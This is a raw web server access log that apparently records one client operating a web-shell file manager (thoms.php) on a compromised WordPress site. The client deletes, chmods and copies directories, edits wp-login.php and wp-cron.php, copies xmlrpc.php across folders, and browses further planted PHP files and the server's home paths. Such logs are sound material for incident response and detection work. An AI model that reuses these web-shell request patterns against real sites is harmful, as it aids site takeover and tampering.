45.135.193.11 - - [11/Sep/2026:23:40:36 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fsite-settings&settings=1 HTTP/1.1" 200 11913 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fsite-settings&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:36 -0400] "GET /thoms.php?del=profile.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 13411 "http://163.245.207.76:443/thoms.php?del=profile.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:36 -0400] "GET /thoms.php?chmod=languages&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=languages&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:36 -0400] "GET /thoms.php?chmod=plugins&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=plugins&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:36 -0400] "GET /thoms.php?chmod=uploads&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=uploads&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:36 -0400] "GET /thoms.php?del=uploads&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 13624 "http://163.245.207.76:443/thoms.php?del=uploads&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:36 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-content%2Fuploads&p= HTTP/1.1" 200 12408 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content%2Fuploads&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:37 -0400] "GET /thoms.php?dl=index.php&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 13625 "http://163.245.207.76:443/thoms.php?dl=index.php&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:37 -0400] "GET /bestjudy.com.tw/wp-content/languages/ HTTP/1.1" 200 4154 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:37 -0400] "GET /thoms.php?chmod=upgrade&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=upgrade&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:37 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-content%2Fupgrade&p= HTTP/1.1" 200 12432 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content%2Fupgrade&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:37 -0400] "GET /thoms.php?del=upgrade&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 13625 "http://163.245.207.76:443/thoms.php?del=upgrade&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:37 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-content%2Findex.php&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content%2Findex.php&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:37 -0400] "GET /thoms.php?del=mu-plugins&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 13615 "http://163.245.207.76:443/thoms.php?del=mu-plugins&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:37 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-content%2Fmu-plugins&p= HTTP/1.1" 200 12400 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content%2Fmu-plugins&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:37 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-content%2Fthemes&p= HTTP/1.1" 200 12410 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content%2Fthemes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:37 -0400] "GET /thoms.php?chmod=themes&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=themes&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:37 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-content%2Fplugins&p= HTTP/1.1" 200 12410 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content%2Fplugins&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:37 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-content&view=index.php HTTP/1.1" 200 11851 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-content&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:37 -0400] "GET /bestjudy.com.tw/wp-content/plugins/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:37 -0400] "GET /thoms.php?del=plugins&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 13625 "http://163.245.207.76:443/thoms.php?del=plugins&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:37 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-content%2Flanguages HTTP/1.1" 200 26832 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-content%2Flanguages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:37 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-content%2Fupgrade HTTP/1.1" 200 12072 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-content%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:37 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-content%2Fuploads HTTP/1.1" 200 12796 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-content%2Fuploads" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:38 -0400] "GET /thoms.php?chmod=index.php&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:38 -0400] "GET /bestjudy.com.tw/wp-content/upgrade/ HTTP/1.1" 200 697 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:38 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-content&settings=1 HTTP/1.1" 200 11915 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-content&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:38 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-content%2Fmu-plugins HTTP/1.1" 200 12736 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-content%2Fmu-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:38 -0400] "GET /bestjudy.com.tw/wp-content/themes/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:38 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-content%2Fthemes HTTP/1.1" 200 13276 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:38 -0400] "GET /bestjudy.com.tw/wp-content/uploads/ HTTP/1.1" 200 848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:38 -0400] "GET /bestjudy.com.tw/wp-content/index.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:38 -0400] "GET /bestjudy.com.tw/wp-content/mu-plugins/ HTTP/1.1" 200 800 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:38 -0400] "GET /bestjudy.com.tw/wp-content HTTP/1.1" 301 795 "http://163.245.207.76:443/bestjudy.com.tw/wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:38 -0400] "GET /bestjudy.com.tw/wp-content/ HTTP/1.1" 200 0 "https://163.245.207.76:443/bestjudy.com.tw/wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:38 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-content%2Fplugins HTTP/1.1" 200 13131 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-content%2Fplugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:38 -0400] "GET /thoms.php?del=index.php&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 13624 "http://163.245.207.76:443/thoms.php?del=index.php&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:38 -0400] "GET /thoms.php?del=languages&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 13626 "http://163.245.207.76:443/thoms.php?del=languages&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:38 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-content%2Flanguages&p= HTTP/1.1" 200 12404 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-content%2Flanguages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:38 -0400] "GET /thoms.php?chmod=mu-plugins&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=mu-plugins&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:38 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-content&upload= HTTP/1.1" 200 12179 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-content&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:38 -0400] "GET /thoms.php?del=themes&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 13626 "http://163.245.207.76:443/thoms.php?del=themes&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:39 -0400] "GET /thoms.php?edit=wp-cron.php&env=ace&p=bestjudy.com.tw HTTP/1.1" 200 17530 "http://163.245.207.76:443/thoms.php?edit=wp-cron.php&env=ace&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:39 -0400] "GET /thoms.php?edit=wp-cron.php&p=bestjudy.com.tw HTTP/1.1" 200 13947 "http://163.245.207.76:443/thoms.php?edit=wp-cron.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:39 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fxmlrpc.php&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 11449 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fxmlrpc.php&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:39 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fxmlrpc.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11859 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fxmlrpc.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:39 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fxmlrpc.php&finish=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fxmlrpc.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:39 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fxmlrpc.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fxmlrpc.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:39 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fxmlrpc.php&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 200 11393 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fxmlrpc.php&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:39 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 20120 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fxmlrpc.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:39 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fxmlrpc.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 11348 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fxmlrpc.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:39 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fxmlrpc.php&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fxmlrpc.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:39 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fxmlrpc.php&p= HTTP/1.1" 200 12379 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fxmlrpc.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22673 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fxmlrpc.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:39 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fxmlrpc.php&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fxmlrpc.php&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:39 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fxmlrpc.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11348 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fxmlrpc.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:39 -0400] "GET /bestjudy.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fupgrade%2F%2Ftermps.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fupgrade%2F HTTP/1.1" 200 31203 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:39 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fxmlrpc.php&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fxmlrpc.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:40 -0400] "GET /thoms.php?edit=wp-login.php&env=ace&p=bestjudy.com.tw HTTP/1.1" 200 32485 "http://163.245.207.76:443/thoms.php?edit=wp-login.php&env=ace&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:40 -0400] "GET /bestjudy.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2F HTTP/1.1" 200 9373 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:40 -0400] "GET /thoms.php?edit=wp-login.php&p=bestjudy.com.tw HTTP/1.1" 200 28823 "http://163.245.207.76:443/thoms.php?edit=wp-login.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:40 -0400] "GET /bestjudy.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fupgrade%2F%2F.484325810624833.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fupgrade%2F HTTP/1.1" 200 6683 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:40 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 20123 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fxmlrpc.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:40 -0400] "GET /bestjudy.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fupgrade%2F&option=file HTTP/1.1" 200 6576 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:40 -0400] "GET /bestjudy.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fupgrade%2F%2Fpostnews.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fupgrade%2F HTTP/1.1" 200 46727 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:40 -0400] "GET /bestjudy.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fupgrade%2F%2Ftxets.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fupgrade%2F HTTP/1.1" 200 47449 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:40 -0400] "GET /bestjudy.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fupgrade%2F&location=%2Fhome%2F HTTP/1.1" 200 5822 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:40 -0400] "GET /bestjudy.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fupgrade%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fupgrade%2F HTTP/1.1" 200 6771 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:40 -0400] "GET /bestjudy.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fupgrade%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fupgrade%2F HTTP/1.1" 200 28567 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:40 -0400] "GET /bestjudy.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fupgrade%2F&location=%2F HTTP/1.1" 200 7825 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:40 -0400] "GET /bestjudy.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7985 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
